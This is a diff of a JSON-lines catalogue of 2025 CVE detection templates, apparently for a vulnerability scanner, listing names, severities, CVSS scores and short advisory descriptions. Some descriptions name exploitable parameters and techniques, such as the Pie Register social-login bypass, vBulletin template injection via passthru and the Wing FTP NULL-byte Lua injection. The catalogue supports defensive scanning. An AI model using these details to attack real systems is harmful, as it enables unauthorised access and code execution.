 {"ID":"CVE-2025-27112","Info":{"Name":"Navidrome \u003c=0.54.5 -  Authentication Bypass in Subsonic API","Severity":"medium","Description":"Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a \"permission denied\" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-27112.yaml"}
+{"ID":"CVE-2025-2712","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2712.yaml"}
 {"ID":"CVE-2025-27134","Info":{"Name":"Joplin 3.3.3 Server - Privilege Escalation","Severity":"high","Description":"Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-27134.yaml"}
 {"ID":"CVE-2025-27218","Info":{"Name":"Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization","Severity":"medium","Description":"Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27218.yaml"}
 {"ID":"CVE-2025-2748","Info":{"Name":"Kentico Xperience CMS - Unauthenticated Stored XSS","Severity":"medium","Description":"The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-2748.yaml"}
+{"ID":"CVE-2025-27505","Info":{"Name":"GeoServer - Missing Authorization on REST API Index","Severity":"medium","Description":"GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27505.yaml"}
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
 {"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
@@ -3081,17 +3100,29 @@
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
+{"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
+{"ID":"CVE-2025-32814","Info":{"Name":"NetMRI Unauthenticated SQL Injection via skipjackUsername","Severity":"critical","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32814.yaml"}
+{"ID":"CVE-2025-32815","Info":{"Name":"NetMRI \u003c 7.6.1 - Authentication Bypass via Hardcoded Credentials","Severity":"medium","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32815.yaml"}
 {"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
 {"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
 {"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
+{"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
+{"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
+{"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
+{"ID":"CVE-2025-34143","Info":{"Name":"ETQ Reliance - Authentication Bypass via Trailing Space","Severity":"critical","Description":"An authentication bypass vulnerability exists in ETQ Reliance on the CG (legacy) platform. The application allowed login as the privileged internal SYSTEM user by manipulating the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker could achieve remote code execution by modifying Jython scripts within the application. This issue was resolved by introducing stricter validation logic to exclude internal accounts from public authentication workflows in version MP-4583.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34143.yaml"}
 {"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
+{"ID":"CVE-2025-34300","Info":{"Name":"SawtoothSoftware Lighthouse Studio \u003c 9.16.14 - Pre-Auth Remote Code Execution","Severity":"critical","Description":"A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34300.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
+{"ID":"CVE-2025-40630","Info":{"Name":"IceWarp Mail Server ≤11.4.0 - Open Redirect","Severity":"medium","Description":"IceWarp Mail Server version 11.4.0 and below contains an open redirect vulnerability that allows attackers to redirect users to arbitrary external domains through malicious URLs.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-40630.yaml"}
 {"ID":"CVE-2025-4123","Info":{"Name":"Grafana - XSS / Open Redirect / SSRF via Client Path Traversal","Severity":"high","Description":"An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n","Classification":{"CVSSScore":"7.6"}},"file_path":"http/cves/2025/CVE-2025-4123.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
+{"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal 'marketplace-app-manager-web' - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
@@ -3103,13 +3134,27 @@
 {"ID":"CVE-2025-47423","Info":{"Name":"Personal Weather Station Dashboard 12 - Directory Traversal","Severity":"high","Description":"Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2025/CVE-2025-47423.yaml"}
 {"ID":"CVE-2025-47539","Info":{"Name":"Eventin \u003c= 4.0.26 - Privilege Escalation","Severity":"critical","Description":"The Eventin WordPress plugin before 4.0.27 suffers from an unauthenticated privilege escalation vulnerability. Due to a missing permission check in the a REST API endpoint, unauthenticated attackers can import users with arbitrary roles, including administrator, leading to full site compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47539.yaml"}
 {"ID":"CVE-2025-47646","Info":{"Name":"PSW Front-end Login \u0026 Registration 1.13 - Weak Password Recovery","Severity":"critical","Description":"PSW Front-end Login \u0026 Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47646.yaml"}
+{"ID":"CVE-2025-47812","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Remote Code Execution","Severity":"critical","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).\nThe vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection\ninto session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting\nin arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47812.yaml"}
+{"ID":"CVE-2025-47813","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Path Disclosure via Overlong UID Cookie","Severity":"medium","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).\nThe vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an\noverlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further\nexploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-47813.yaml"}
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
+{"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
+{"ID":"CVE-2025-49029","Info":{"Name":"WordPress Custom Login And Signup Widget Plugin \u003c= 1.0 - Arbitrary Code Execution","Severity":"high","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49029.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
+{"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
+{"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
+{"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
+{"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
+{"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
+{"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
+{"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
+{"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
